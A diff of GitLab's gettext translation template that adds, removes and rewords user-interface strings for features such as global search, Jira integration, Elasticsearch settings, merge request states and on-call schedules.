msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23061,6 +23414,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23175,6 +23540,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
